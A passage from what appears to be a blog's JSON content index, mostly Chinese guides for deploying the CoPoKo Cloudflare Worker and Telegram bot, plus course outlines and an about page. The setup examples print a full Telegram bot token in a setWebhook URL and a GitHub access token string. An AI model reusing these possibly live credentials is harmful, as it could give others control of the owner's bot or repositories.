的命令行的管理使用 kafka 的 javaAPI 的使用 kafka 的数据的分区 kafka 的配置文件的说明 flume 与 kafka 的整合 kafka-manager 监控工具的使用 CDH 版本的 zookeeper 环境搭建 day10sqoop 数据迁移sqoop day11 工作流调度器 azkaban &amp; 数据可视化 Echarts 介绍azkaban 数据可视化 Echarts 介绍"},{"title":"","date":"2019-09-19T01:16:00.000Z","updated":"2022-09-06T01:26:00.000Z","comments":true,"path":"notes/pdf/cumcm.html","permalink":"https://blog.mhuig.top/notes/pdf/cumcm","excerpt":"","text":"数学建模资料 数学建模资料 汇总司守奎老师的讲义 程序 习题解答等 volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-MCM-Archive-a9efbfb4b80a822b6ed30fb86c281ce44eb8e17d\", \"MHuiG\", \"MCM-Archive\", \"a9efbfb4b80a822b6ed30fb86c281ce44eb8e17d\", false); }) 封面 封面 前言 前言 目录 目录 第一章 线性规划 第一章 线性规划 第二章 整数规划 第二章 整数规划 第三章 非线性规划 第三章 非线性规划 第四章 动态规划 第四章 动态规划 第五章 图与网络 第五章 图与网络 第六章 排队论 第六章 排队论 第七章 对策论 第七章 对策论 第八章 层次分析法 第八章 层次分析法 第九章 插值与拟合 第九章 插值与拟合 第十章 数据的统计描述和分析 第十章 数据的统计描述和分析 第十一章 方差分析 第十一章 方差分析 第十二章 回归分析 第十二章 回归分析 第十三章 微分方程建模 第十三章 微分方程建模 第十四章 稳定状态模型 第十四章 稳定状态模型 第十五章 常微分方程的解法 第十五章 常微分方程的解法 第十六章 差分方程模型 第十六章 差分方程模型 第十七章 马氏链模型 第十七章 马氏链模型 第十八章 变分法模型 第十八章 变分法模型 第十九章 神经网络模型 第十九章 神经网络模型 第二十章 偏微分方程的数值解 第二十章 偏微分方程的数值解 第二十一章 目标规划 第二十一章 目标规划 第二十二章 模糊数学模型 第二十二章 模糊数学模型 第二十三章 现代优化算法 第二十三章 现代优化算法 第二十四章 时间序列模型 第二十四章 时间序列模型 第二十五章 灰色系统理论及其应用 第二十五章 灰色系统理论及其应用 第二十六章 多元分析 第二十六章 多元分析 第二十七章 偏最小二乘回归分析 第二十七章 偏最小二乘回归分析 第二十八章 存贮论 第二十八章 存贮论 第二十九章 经济与金融中的优化问题 第二十九章 经济与金融中的优化问题 第三十章 生产与服务运作管理中的优化问题 第三十章 生产与服务运作管理中的优化问题 第三十一章 支持向量机 第三十一章 支持向量机 第三十二章 作业计划 第三十二章 作业计划 附录一 Matlab 入门 附录一 Matlab 入门 附录二 Matlab 在线性代数中的应用 附录二 Matlab 在线性代数中的应用 附录三 运筹学的 LINGO 软件 附录三 运筹学的 LINGO 软件 附录四 Excel 在统计分析与数量方法中的应用 附录四 Excel 在统计分析与数量方法中的应用 附录五 SPSS 在统计分析中的应用 附录五 SPSS 在统计分析中的应用 参考文献 参考文献"},{"title":"","date":"2019-09-17T01:02:00.000Z","updated":"2022-09-06T02:20:00.000Z","comments":true,"path":"notes/pdf/data-mining.html","permalink":"https://blog.mhuig.top/notes/pdf/data-mining","excerpt":"","text":"数据挖掘资料 数据挖掘 PDF 资料 数据挖掘概念与特性 常用分类算法及原理 常用降维算法及原理 常用聚类算法及原理 关联分析及常用算法 常用推荐算法及原理 自然语言处理研究报告 NLP"},{"title":"","date":"2019-09-17T01:02:00.000Z","updated":"2022-09-06T02:20:00.000Z","comments":true,"path":"notes/pdf/data-visualization.html","permalink":"https://blog.mhuig.top/notes/pdf/data-visualization","excerpt":"","text":"数据可视化资料 数据可视化 PDF 资料 HTML 的基本标签及语法 CSS 语法规则 网页基本布局方式 自适应设计和响应式设计 js 基本语法汇总 Ajax 基本原理和概念 Ajax 实现与后台服务通信 Echarts 常用功能 api"},{"title":"","date":"2022-05-12T09:37:00.000Z","updated":"2022-05-12T09:37:00.000Z","comments":true,"path":"notes/pdf/index.html","permalink":"https://blog.mhuig.top/notes/pdf/","excerpt":"","text":".fa-secondary{opacity:.4} PDF PDF .prev-next{ display: none !important; }"},{"title":"","date":"2025-02-17T22:44:41.770Z","updated":"2025-02-17T22:44:41.770Z","comments":true,"path":"pages/beer/index.html","permalink":"https://blog.mhuig.top/pages/beer/","excerpt":"","text":"🍻 Give Me A Cup Of Beer? 🍻 Give Me A Cup Of Beer? ETH0x6E5AfEfde2DD46935ff23e2F33033888307528f2 XMR83nqQBbxNv9MVaEVY2JsYmELx9AGfUMSE3zvhS7msjsPRR1TnAWHniNFrJX3TnEoVWCHjhMQSNsFyKprq9hudy2X48TyMeT BTCbc1q4kyx3csltyr3ewllglm3whz65vpt7lzlxqvad9"},{"title":"","date":"2025-02-17T22:44:41.767Z","updated":"2025-02-17T22:44:41.767Z","comments":true,"path":"pages/about/index.html","permalink":"https://blog.mhuig.top/pages/about/","excerpt":"","text":"关于我 MHuiG 关于我关于本站&gt;_ 热爱技术，热爱创造。 正在探秘事物本质与联系的探索者。 喜欢遥望星星存在过的地方。 博客大事记 本站多线部署 选择网络最佳线路 https://blog.mhuig.top Cloudflare / GitHub Pages https://cfpages.blog.mhuig.top Cloudflare Pages https://vercel.blog.mhuig.top Vercel https://netlify.blog.mhuig.top Netlify https://fleek.blog.mhuig.top Fleek powered by IPFS 我已使用 GPG 签名验证了我的身份，该签名证明了我对该域的所有权。 请参阅此处的加密证明： Keybase - claimed ownership of mhuig.top via dns 我的 GPG 公钥托管在 Keybase-mhuig 上。您可以通过以下方式拉出并导入我的 GPG 公钥： curl https://keybase.io/mhuig/pgp_keys.asc | gpg --import 在 Alone 的海洋里有一只孤独的鲸，没有放弃海洋的它终会在最后找到同频率的伙伴。 —52 赫兹的鲸 var now = new Date(); function SiteTime() { try{ var grt= new Date(\"08/19/2019 21:23:12\"); now.setTime(now.getTime()+250); days = (now - grt ) / 1000 / 60 / 60 / 24; dnum = Math.floor(days); hours = (now - grt ) / 1000 / 60 / 60 - (24 * dnum); hnum = Math.floor(hours); if(String(hnum).length ==1 ){hnum = \"0\" + hnum;} minutes = (now - grt ) / 1000 /60 - (24 * 60 * dnum) - (60 * hnum); mnum = Math.floor(minutes); if(String(mnum).length ==1 ){mnum = \"0\" + mnum;} seconds = (now - grt ) / 1000 - (24 * 60 * 60 * dnum) - (60 * 60 * hnum) - (60 * mnum); snum = Math.round(seconds); if(String(snum).length ==1 ){snum = \"0\" + snum;} document.getElementById(\"timeDate\").innerHTML = \"本站已安全运行 \"+dnum+\" 天 \"; document.getElementById(\"times\").innerHTML = hnum + \" 小时 \" + mnum + \" 分 \" + snum + \" 秒\"; }catch(e){} } if(typeof SiteTimeFlag==\"undefined\"){ var TimeInterval=setInterval(SiteTime,250); window.SiteTimeFlag=true; } ////////////////////////// screen_container ////////////////////////// function screen_container(){ if(volantis.linux){ TinyCore() }else{ volantis.linux={} buildroot() } } function buildroot(){ var emulator = window.emulator = new V86Starter({ wasm_path: \"https://cdn.jsdelivr.net/npm/imbox@0.0.9/linux/build/v86.wasm\", memory_size: 128 * 1024 * 1024, vga_memory_size: 8 * 1024 * 1024, screen_container: document.getElementById(\"screen_container\"), bios: { url: \"https://cdn.jsdelivr.net/npm/imbox@0.0.9/linux/bios/seabios.bin\", }, vga_bios: { url: \"https://cdn.jsdelivr.net/npm/imbox@0.0.9/linux/bios/vgabios.bin\", }, cdrom: { url: \"https://cdn.jsdelivr.net/npm/imbox@0.0.9/linux/images/linux.iso\", }, autostart: true, }); var data = \"\"; emulator.add_listener(\"serial0-output-char\", function(char){ if(char !== \"\\r\"){ data += char; } if(data.endsWith(\"(none) login: \")){ /*var el=document.getElementById(\"loading\") if(el){ el.style.display = \"none\"; }*/ emulator.keyboard_send_text(\"echo Welcome to MHuiG\\\\'s Blog!\"); emulator.keyboard_send_keys([13]); } }); emulator.add_listener(\"serial0-output-line\", function(line){ //console.log(line) }); emulator.add_listener(\"download-progress\", function(e){ show_progress(e); }); } function TinyCore(){ var emulator = window.emulator = new V86Starter({ wasm_path: \"https://cdn.jsdelivr.net/npm/imbox@0.0.9/linux/build/v86.wasm\", memory_size: 128 * 1024 * 1024, vga_memory_size: 8 * 1024 * 1024, screen_container: document.getElementById(\"screen_container\"), bios: { url: \"https://cdn.jsdelivr.net/npm/imbox@0.0.9/linux/bios/seabios.bin\", }, vga_bios: { url: \"https://cdn.jsdelivr.net/npm/imbox@0.0.9/linux/bios/vgabios.bin\", }, cdrom: { url: \"https://cdn.jsdelivr.net/npm/imbox@0.0.9/linux/images/Core-11.1.iso\", }, autostart: true, network_relay_url: \"wss://relay.widgetry.org/\", }); emulator.add_listener(\"download-progress\", function(e){ show_progress(e); }); var checkExistBoot = setInterval(function() { try { if(document.querySelector(\"#screen_container > div > div:nth-child(7) > span:nth-child(1)\").innerHTML!=\"boot: \") return clearInterval(checkExistBoot); emulator.keyboard_send_keys([13]); } catch (error) {} },100); var checkExistStart = setInterval(function() { try { if(document.querySelector(\"#screen_container > div > div:nth-child(5) > span:nth-child(1)\").innerHTML!=\"tc@box:~$ \")return clearInterval(checkExistStart); emulator.keyboard_send_text(\"echo Welcome to MHuiG\\\\'s Blog!\"); emulator.keyboard_send_keys([13]); } catch (error) {} },100); } function pjax_screen_container(){ if(document.querySelector(\"#screen_container\")){ volantis.dom.$(document.querySelector(\"#tab-aboutme > ul > li:nth-child(4) > a\")).on(\"click\",function(){ volantis.js(\"https://cdn.jsdelivr.net/npm/imbox@0.0.9/linux/build/libv86.js\",screen_container) volantis.dom.$(document.querySelector(\"#tab-aboutme > ul > li:nth-child(1),#tab-aboutme > ul > li:nth-child(2),#tab-aboutme > ul > li:nth-child(3),#tab-aboutme > ul > li:nth-child(5) > a\")).on(\"click\",function(){ try{emulator.destroy()}catch(e){} }); }); } } pjax_screen_container(); function chr_repeat(chr, count){ var result = \"\"; while(count-- > 0){ result += chr; } return result; } function show_progress(e){ var el = document.getElementById(\"loading\"); if(!el) return el.style.display = \"block\"; if(e.file_name.endsWith(\".wasm\")){ const parts = e.file_name.split(\"/\"); el.textContent = \"Fetching \" + parts[parts.length - 1] + \" ...\"; return; } if(e.file_index === e.file_count - 1 && e.loaded >= e.total - 2048){ // last file is (almost) loaded el.textContent = \"Done downloading. Starting now ...\"; return; } var line = \"Downloading images \"; if(typeof e.file_index === \"number\" && e.file_count){ line += \"[\" + (e.file_index + 1) + \"/\" + e.file_count + \"] \"; } var progress_ticks = 0; if(e.total && typeof e.loaded === \"number\"){ var per100 = Math.floor(e.loaded / e.total * 100); per100 = Math.min(100, Math.max(0, per100)); var per50 = Math.floor(per100 / 2); line += per100 + \"% [\"; line += chr_repeat(\"#\", per50); line += chr_repeat(\" \", 50 - per50) + \"]\"; }else{ line += chr_repeat(\".\", progress_ticks++ % 50); } el.textContent = line; } volantis.pjax.push(pjax_screen_container) /////////////////////////////////////////////////////////////////////////"},{"title":"","date":"2025-02-17T22:44:41.773Z","updated":"2025-02-17T22:44:41.773Z","comments":true,"path":"pages/friends/index.html","permalink":"https://blog.mhuig.top/pages/friends/","excerpt":"","text":"My Friends Links My Friends 来自 GitHub 的小伙伴们:以下友链通过 GitHub Issue 提交： Thanks本博客是在以下框架技术和开源服务的支持下搭建起来的: HexoVolantisGithubUnsplashjsDelivrVercelcloudflare 欢迎互换友链！ 如何自助添加友链？先友后链，在我们有一定了解了之后才可以交换友链，除此之外，您的网站还应满足以下条件： 合法的、非营利性、无商业广告 有实质性原创内容的 HTTPS 站点 第一步：新建 Issue 新建 GitHub Issue 按照模板格式填写并提交。为了提高图片加载速度，建议优化头像：打开 压缩图 上传自己的头像，将图片尺寸调整到 96px 后下载。将压缩后的图片上传到 ImgURL 免费图床 并使用此图片链接作为头像。 第二步：添加友链并等待管理员审核 请添加本站到您的友链中，如果您也使用 issue 作为友链源，只需要告知您的友链源仓库即可。您可以添加本站的任何一个域，下面只是一个例子。title: MHuiGavatar: https://fastly.jsdelivr.net/npm/mhg@latesturl: https://mhuig.topscreenshot: https://fastly.jsdelivr.net/npm/mhgoos@0.0.1655533137084/web.pngdescription: 「Be Yourself Make a Difference」keywords: 搞事情🤣待管理员审核通过，添加了 active 标签后，回来刷新即可生效。 如果您需要更新自己的友链，请直接修改 issue 内容，大约 3 分钟内生效，无需等待博客更新。如果无法修改，可以重新创建一个。"},{"title":"","date":"2025-02-17T22:44:41.776Z","updated":"2025-02-17T22:44:41.776Z","comments":true,"path":"pages/rss/index.html","permalink":"https://blog.mhuig.top/pages/rss/","excerpt":"","text":"RSS 订阅 RSS 订阅 Really Simple Syndication AtomAtom/atom.xml RSS2RSS2/rss2.xml"},{"title":"","date":"2025-02-17T22:44:41.779Z","updated":"2025-02-17T22:44:41.779Z","comments":true,"path":"pages/talk/index.html","permalink":"https://blog.mhuig.top/pages/talk/","excerpt":"","text":"碎言碎语 volantis.layoutHelper(\"page-plugins\",``,{pjax:false}) volantis.css(\"https://static.mhuig.top/npm/@copoko/hole@1.0.0/dist/Hole.css\") volantis.js(\"https://static.mhuig.top/npm/@copoko/hole@1.0.0/dist/Hole.js\").then(() => { new Hole({ api: \"https://cpk.mhuig.top\" }); }) function HoleDark() { if (volantis.dark.mode == \"light\") { document.querySelector(\".hole\") && document.querySelector(\".hole\").classList && document.querySelector(\".hole\").classList.remove(\"dark-mode\"); } else { document.querySelector(\".hole\") && document.querySelector(\".hole\").classList && document.querySelector(\".hole\").classList.add(\"dark-mode\"); } } window.HoleLoadCardCallback = ()=>{ HoleDark() volantis.dark.push(HoleDark) } .hole img { display: inline !important; }"},{"title":"","date":"2025-02-17T22:44:41.782Z","updated":"2025-02-17T22:44:41.782Z","comments":false,"path":"pages/time-machine/index.html","permalink":"https://blog.mhuig.top/pages/time-machine/","excerpt":"","text":"Time Machine Youth Youth is not a time of life; it is a state of mind; 青春不是年华，青春是一种心境。 it is not a matter of rosy cheeks, red lips and supple knees; 它不是红颜，朱唇，柔膝； it is a matter of the will, a quality the imagination, 它是一种深沉的意志，一种恢弘的想象， a vigor of the emotions; 和饱满的热情； it is the freshness of the deep springs of life. 它是我们生命之泉在不息的涌动。 Nobody grows old merely by a number of years. 岁月有加，并未垂老。 We grow old by deserting our ideals. 抛弃理想，方堕暮年。"},{"title":"","date":"2025-02-17T22:44:41.785Z","updated":"2025-02-17T22:44:41.785Z","comments":false,"path":"pages/timeline/index.html","permalink":"https://blog.mhuig.top/pages/timeline/","excerpt":"","text":"博客大事记 大事记Long Long Ago博客大事记 2022.09.06 PDF 标签实现懒加载 2022.05.13 全站内容按照体系整理 创建 Notes 页面 2022.05.08 图片压缩使用 webp 格式 全站 webp 时代 2022.02.14 更新使用 GitHub Issues 友链系统 2022.02.13 本站 CDN cdn.jsdelivr.net 使用 Cloudflare 加速: static.mhuig.top 2021.10.11 启用 Giscus 评论系统 2021.10.12 创建 博客大事记页面 很久很久以前Wikipedia"},{"title":"安装配置 Space","date":"2022-06-12T08:27:00.000Z","updated":"2022-06-13T01:12:00.000Z","comments":true,"path":"wiki/CoPoKo/a.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/a","excerpt":"","text":"CoPoKo 目前仅限部署于 CloudFlare Workers。 我们假设您已经安装了 CloudFlare Workers，您已经在 CloudFlare Workers 上注册了一个新的账户。并且您已经在 CloudFlare DNS 上创建了一个新的域名。 前期准备 在 cloudflare 官网注册账号，找到并开通使用 workers。 安装 git，安装方法请参考搜索引擎。 安装 Node.js 和 npm，安装方法请参考搜索引擎。打开命令行（windows 用户可直接在资源管理器输入 cmd 并回车）如果在命令行输入以下命令成功输出版本号，即安装成功。node -vnpm -v 安装 Wranglernpm install -g wrangler 请参阅详细的安装说明。如果在命令行输入以下命令成功输出版本号，即安装成功。wrangler -v 使用您的 Cloudflare 帐户对 Wrangler 进行身份验证要启用部署到 Cloudflare，您需要通过 Wrangler 登录到您的 Cloudflare 帐户来进行身份验证。wrangler login 当 Wrangler 自动打开浏览器显示 Cloudflare 的同意屏幕时，请单击允许按钮。这会向 Wrangler 发送 API 令牌。 安装部署 CoPoKo/SpaceCoPoKo/Space 包含核心模块 Telegram 机器人和控制面板。 克隆 CoPoKo/Space 项目并解压 git clone https://github.com/CoPoKo/Space.git 复制 wrangler.toml.template 内容建立新配置文件 wrangler.toml 修改配置文件可参考 cloudflare 官方文档account_id：您的 Cloudflare 帐户 ID, 详见下文 ACCOUNTID。name：您的 Cloudflare Worker 名称route：您的 Cloudflare Worker 路由kv_namespaces：您的 Cloudflare KV在文件夹目录打开命令行运行以下命令，创建一个 KV 桶： wrangler kv:namespace create \"SpaceKV\" 根据提示将输出的内容粘贴在 wrangler.toml 文件中 kv_namespaces 位置。 修改配置文件 [vars] 配置 (1) 添加您的 Worker 信息 WORKERNAME : Worker 名称，同上文 name WORKERROUTE : Worker 路由， 同上文 route (2) 添加您的 Cloudflare 帐户信息 AUTHEMAIL : Cloudflare 帐户邮箱 AUTHKEY : CloudFlare 的 Global API Key 在这里获取 ACCOUNTID : Cloudflare 帐户 ID, Worker 界面中的账户 ID ZONEID : Worker 路由域名区域 ID ，转到 网站 》您的域名 》概述 右下角 (3) 添加您的 控制面板配置信息 AUTH_PAGE : 控制面板登录页面地址 （随便写个例如 /AUTH_PAGE1919810） MY_REFERER : 控制面板 API 请求的 Referer 检查字段 可以为空但是不可以填错 错误的 Referer 会返回 403 SpaceName : 控制面板登录用户名 SpacePassword : 控制面板登录密码 (4) 添加您的 reCAPTCHA 信息 到 这里 注册一个 API 密钥对 reCAPTCHA_CLIENT : reCAPTCHA 客户端秘钥 reCAPTCHA_SERVER : reCAPTCHA 服务端秘钥 (5) 添加您的 COPOKO_API 配置信息 COPOKO_API : CoPoKo API 详见后文。 将 CoPoKo/service-api-by-vercel 部署到 vercel 并获取路径为 COPOKO_API 的值，你可以使用配置文件中我部署的公共 API，资源有限请合理使用。 安装配置 service api/wiki/CoPoKo/b (6) 添加您的 Telegram 机器人 配置信息 Telegraf_BOT_TOKEN : Telegram 机器人秘钥 详见后文。 Telegraf_BOT_WEBHOOK : Telegram 机器人 WEBHOOK （随便写个例如 /Telegraf_BOT_WEBHOOK114514 记住这个配置后面还会用到） 安装配置 Telegram 机器人/wiki/CoPoKo/c (7) 其他配置信息 AES_KEY : AES 加密秘钥，建议手滚键盘。丢失秘钥即为丢失数据。 请不要向任何人公开您的配置信息。请将配置文件视为机密。 发布wrangler publish"},{"title":"开放 API 接口","date":"2022-06-13T03:10:00.000Z","updated":"2022-09-03T01:42:00.000Z","comments":true,"path":"wiki/CoPoKo/api.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/api","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 浏览器访问 https://example.workers.dev/ 这里列举了几个 开放 API 接口，实际上不止这几个，详见源码。 笔者在这里简单列举一下。 必应图片API 路径： https://example.workers.dev/bing 参数：?day=&lt;Number&gt;0-6，0 表示今天，1 表示明天，依次类推。 https://example.workers.dev/bing?day=3 获取图片https://example.workers.dev/bing/info?day=3 获取图片详细信息https://example.workers.dev/bing/copyright?day=3 获取图片版权信息 SitichAPI 路径： https://example.workers.dev/sitich 毒鸡汤API 路径： https://example.workers.dev/soul 一言API 路径： https://example.workers.dev/hitokoto Unsplash 图片API 路径： https://example.workers.dev/unsplash 参数：?keywords=&lt;S&gt;,&lt;S&gt;,&lt;S&gt; https://example.workers.dev/unsplash?keywords=cat,dog,bird ACG 图片API 路径： https://example.workers.dev/acg 访问 IP 信息API 路径： https://example.workers.dev/ipinfo IPFSAPI 路径： https://example.workers.dev/ipfs OPEN CDNAPI 路径： https://example.workers.dev/npm/ ：unpkg.comhttps://example.workers.dev/gh/ ：fastly.jsdelivr.nethttps://example.workers.dev/wp/ ：fastly.jsdelivr.nethttps://example.workers.dev/twemoji/ ：twemoji.maxcdn.comhttps://example.workers.dev/gitraw/ ：raw.githubusercontent.comhttps://example.workers.dev/gist/ ：gist.github.comhttps://example.workers.dev/ajax/libs/ ：cdnjs.cloudflare.com Github EventAPI 路径： https://example.workers.dev/github-event 调色板API 路径： https://example.workers.dev/color DNS 查询API 路径： https://example.workers.dev/dns/ali/get/host?name=github.com /dns/:upstream:/:way:/:host:?name=xxx&amp;type=xxx&amp;edns_client_subnet=x.x.x.x/dns/dns/get/dns/ali/get/host 参数 参数用途 name 需要解析的域名 type 解析形式，A or AAAA or CNAME 等等 edns_client_subnet EDNS 的 ip, 默认开启为本机 ip, 开启此项功能可提高解析精准度. way 获取方式，默认 doh 方式，可使用以下参数: doh get host 是否转化为 host 格式 [仅在 type 为 A 或 AAAA 格式下生效] upstream 上游 DNS 解析，默认为 CloudFlare 回源 &lt; 1ms 可使用以下参数: google ali dnspod 注：DoH 推荐直接选用 https://dns.alidns.com/dns-query ，而不是用本 API 的反代接口"},{"title":"安装配置 Service Api","date":"2022-06-13T01:12:00.000Z","updated":"2022-09-03T01:42:00.000Z","comments":true,"path":"wiki/CoPoKo/b.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/b","excerpt":"","text":"笔者假设您已经注册了 vercel 服务，并知道如何使用它。 在实际的开发中发现 CloudFlare Workers 存在种种限制，例如它不支持 nodejs 环境，存在 CPU 运行时间限制等等，所以我将存在 CPU 运行时间限制的部分放到了 Vercel 上部署。 将 CoPoKo/service-api-by-vercel 部署到 vercel 并获取路径为配置文件中 COPOKO_API 的值，你可以使用配置文件中我部署的公共 API，资源有限请合理使用。 注：关于不支持 nodejs 环境，我随便说几句，可以使用 browserify 解决，如果你使用了 webpack 直接推荐 node-polyfill-webpack-plugin，这里吐槽一下 browserify 的 net tls 库已经六年没更新了，甚至不支持 es6. 当然换个思路可以将 CloudFlare Workers 迁移到其他平台，简而言之就是添加 node-fetch 的 polyfill，例如 mpl.js. 公共 API我部署了一个公共 API，你可以直接使用它，资源有限请合理使用。 https://api.copoko.vercel.app 注：Vercel 免费计划有 100 GB / 月 使用限制，当达到限制后我将关闭公共 API。 部署 service api 点击上方按钮，跳转至 Vercel 进行部署。 如果你未登录的话，Vercel 会让你注册或登录，请使用 GitHub 账户进行快捷登录。 此处省略一万字。 部署成功后，直接访问路径为配置文件中 COPOKO_API 的值即可。"},{"title":"安装配置 Telegram 机器人","date":"2022-06-13T01:12:00.000Z","updated":"2022-06-13T02:34:00.000Z","comments":true,"path":"wiki/CoPoKo/c.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/c","excerpt":"","text":"笔者假设您已经注册了 Telegram 账户，并知道如何使用它。 此处可能需要一些魔法 创建 Telegram 机器人账户和 @BotFather 对话，使用 /newbot 命令进行创建，根据要求进行设定，我们需要的是创建成功后返回的 the token to access the HTTP API。这个 token 就是我们需要的 CoPoKo/Space 配置文件中的 Telegraf_BOT_TOKEN。 笔者在这里创建了 CoCo。 配置 机器人 WEBHOOK还记得之前在 CoPoKo/Space 配置文件中的 Telegraf_BOT_WEBHOOK 吗？ 我们通过浏览器访问以下路径进行配置 https://api.telegram.org/bot&lt;token&gt;/setWebhook?url=&lt;url&gt; 其中 &lt;token&gt; 是 CoPoKo/Space 配置文件中的 Telegraf_BOT_TOKEN，&lt;url&gt; 是我们的机器人的 Webhook 路径。例如： https://api.telegram.org/bot2044977018:AAHbt-RyEklq3MDG0w6HqrO84lS7MaWz_Gz/setwebhook?url=https://example.workers.dev/Telegraf_BOT_WEBHOOK114514 配置群组访问权限 如果不建立群组，则忽略此步骤。 和 @BotFather 对话，/mybots 命令可以查看所有的机器人。 在 Bot Settings 中配置： Allow Groups : enabled Groups Privacy : disabled"},{"title":"Calendar","date":"2022-06-13T07:40:00.000Z","updated":"2022-06-13T08:19:00.000Z","comments":true,"path":"wiki/CoPoKo/calendar.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/calendar","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 笔者这里默认您会使用日历。 简介众所周知，ToDo 都是用来咕咕咕的。 配置信息暂无配置。 使用Telegram 机器人部分咕咕咕了。 CoPoKo Space 部分直接上图："},{"title":"CoPoKo Space 初体验","date":"2022-06-13T02:35:00.000Z","updated":"2022-06-13T03:02:00.000Z","comments":true,"path":"wiki/CoPoKo/d.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/d","excerpt":"","text":"笔者假设您已经顺利完成了前面的所有步骤；并且您的 CoPoKo Space 已经安装完成。 假定您的 Worker 路由是 https://example.workers.dev/。 开放 API 接口浏览器访问 https://example.workers.dev/ 这里列举了几个 开放 API 接口，实际上不止这几个，详见源码。 登录 CoPoKo Space假定您的 AUTH_PAGE 配置是 /AUTH_PAGE1919810。 浏览器访问 https://example.workers.dev/AUTH_PAGE1919810 输入 username 和 password，点击 Sign in 登录。 username 和 password 分别是之前配置的 SpaceName 和 SpacePassword。 登录成功后，您会看到一个 CoPoKo Space 的 Home 页。 Space Setting 基本操作点击 Setting 选项卡。 点击 Add Project。 输入 project 名称，点击 Add 点击加号图标 + 展开项目设置。 点击 Add KV，输入 key Value 点击 Add。"},{"title":"","date":"2022-06-12T08:27:00.000Z","updated":"2022-06-12T08:27:00.000Z","comments":true,"path":"wiki/CoPoKo/index.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/","excerpt":"","text":"CoPoKo CoPoKo CoPoKo 是一系列开源工具包，由核心模块 Telegram 机器人和控制面板，以及周边工具和系统接口组成。简而言之，CoPoKo 是 MHuiG 捣鼓的一堆破烂玩意儿。 Why谁不想拥有一个可爱的机器人助手呢？ 喵喵喵https://t.me/+Xy1JwLq4rWo1M2M1 许可协议CoPoKo 采用 GPL3.0 Only 开源许可协议。 CoPoKoCopyright (C) 2018 CoPoKo TeamThis program is free software: you can redistribute it and/or modifyit under the terms of the GNU General Public License as published bythe Free Software Foundation, either version 3 of the License, or(at your option) any later version.This program is distributed in the hope that it will be useful,but WITHOUT ANY WARRANTY; without even the implied warranty ofMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See theGNU General Public License for more details.You should have received a copy of the GNU General Public Licensealong with this program. If not, see &lt;https://www.gnu.org/licenses/&gt;."},{"title":"Maxwell","date":"2022-06-13T08:37:00.000Z","updated":"2022-06-13T08:37:00.000Z","comments":true,"path":"wiki/CoPoKo/maxwell.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/maxwell","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 简介CoPoKo Maxwell’s demon CoPoKo/Maxwell 是评论系统！！！ 配置信息暂无 使用咕咕咕。"},{"title":"NPM Upload","date":"2022-06-13T05:50:00.000Z","updated":"2022-06-13T05:50:00.000Z","comments":true,"path":"wiki/CoPoKo/npm-upload.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/npm-upload","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 笔者这里默认您会使用 npm 发布 package。 简介黑盒：将资源上传到 npm，并返回 CDN 链接。 Static Files =&gt; CoPoKo Space/Telegram Bot =&gt; Cloudflare Worker =&gt; GitHub Actions =&gt; NPM =&gt; CDN 配置信息导入 CoPoKo/Whiteholehttps://github.com/CoPoKo/Whitehole/generate 点击上方链接，这将从 CoPoKo/Whitehole 使用模板导入项目。 请不要尝试 fork CoPoKo/Whitehole 这个项目，这可能直接让你进入笔者的 GitHub 黑名单中。 修改 https://github.com/CoPoKo/Whitehole/blob/main/npm-version-bump.js 为您自己的 npm package 信息，与下文配置对应。 在设置中打开 actions，打开 actions 写入权限 settings &gt; secrets &gt; actions 添加环境变量 NPM_TOKEN，这是你的 NPM 发布秘钥。 https://example.workers.dev/space/dash/setting 打开 Setting 面板，新建一个 Project 名为 NPMUpload。 GITHUB_TOKEN ：你的 GITHUB 秘钥 需要写入 repo 权限 例如： ghp_pX3DeRmfBkBlRXrpEtJls6upx22UDx4BxHixGITHUB_BRANCH ：GITHUB 分支名称 例如：mainGITHUB_REPO ：GITHUB 仓库名称 例如：CoPoKo/WhiteholeNPM_PKG ：npm 包名称 例如：@copoko/whitehole，与上文 npm-version-bump.js 配置对应。 使用这里以上传一个 vue.js 为例。 CoPoKo Space 选择文件然后点击 提交 按钮即可。 在 CoPoKo Space Home 页面，你甚至还可以查看到上传的文件记录。 Telegram 机器人 默认配置只允许 admin 上传，如果笔者没有记错的话。"},{"title":"问答系统","date":"2022-06-13T06:54:00.000Z","updated":"2022-09-03T01:42:00.000Z","comments":true,"path":"wiki/CoPoKo/qa.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/qa","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。笔者这里默认您会使用 Telegram。 简介问答系统是指 Telegram 机器人的 QA 系统。 面板配置信息https://example.workers.dev/space/dash/setting 打开 Setting 面板，新建一个 Project 名为 TelegrafBot。 ADMIN_ID: 管理员用户 ID [https://t.me/userinfobot]ADMIN_GROUP_ID: 私有群组 IDPUBLIC_GROUP_ID: 公开群组 IDTEST_GROUP_ID: 测试群组 ID 这里有三个 GROUP ID，分别是私有群，公开群，测试群；ID 是数字。如何获取群组 ID，请参考下文输入命令 &gt;ChatID。测试群是笔者开发测试使用，私有群中会有 Telegram 机器人的报错日志信息。 问答系统的配置文件问答系统的配置文件是 yml 格式https://github.com/CoPoKo/Space/blob/main/src/Space/TelegrafBot/BotModel/Text/workflows.yml - workflow: - random: 1 reply: 然后呢? - re: ^？$ reply: ？？？ - includes: - 来点 - 涩图 reply: 让我找找 - random: 100 action: EmojiToSticker workflow 被称为工作流，每一个工作流都是一个判断列表，一个工作流中只能有一个 action 被触发，触发后跳出执行下一个工作流。 action 被称为动作，每一个动作都是一个函数，动作的函数名称是 action: 后面的函数名称。 reply 是一种特殊的动作，它的动作是 reply: 后面的文本。 re 是一个正则表达式判断条件。 includes 是一个正则表达式列表判断条件，必须全部满足才会触发 action。 random 是一个随机触发判断条件，赋值 0-100。 - workflow: - admin: - re: 在吗 